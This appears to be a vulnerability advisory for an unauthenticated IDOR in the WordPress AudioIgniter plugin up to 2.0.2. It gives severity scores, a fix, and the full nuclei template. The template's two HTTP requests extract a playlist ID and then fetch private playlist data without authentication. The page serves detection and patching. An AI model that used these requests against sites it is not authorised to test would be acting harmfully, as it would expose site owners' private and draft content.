WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.

Impact

Unauthenticated attackers can access sensitive playlist metadata including private and draft content, leading to information disclosure.

Fix

Update to the latest version of AudioIgniter plugin.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "audioigniter_playlist_id")
Send: GET /?audioigniter_playlist_id={{playlist_id}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"title\"", "\"audio\"", "\"subtitle\"")

Run it with nuclei: nuclei -id CVE-2026-8679 -u <target>

The full check

id: CVE-2026-8679

info:
  name: WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR
  author: 0x_Akoko
  severity: high
  description: |
    The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.
  impact: |
    Unauthenticated attackers can access sensitive playlist metadata including private and draft content, leading to information disclosure.
  remediation: |
    Update to the latest version of AudioIgniter plugin.
  reference:
    - https://plugins.trac.wordpress.org/browser/audioigniter/trunk/audioigniter.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8679
    - https://wordpress.org/plugins/audioigniter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-8679
    epss-score: 0.01566
    epss-percentile: 0.75521
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="audioigniter_playlist_id"
  tags: cve,cve2026,wordpress,wp-plugin,audioigniter,idor,exposure,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "audioigniter_playlist_id")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: playlist_id
        part: body
        regex:
          - 'audioigniter_playlist_id=(\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /?audioigniter_playlist_id={{playlist_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"title\"", "\"audio\"", "\"subtitle\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from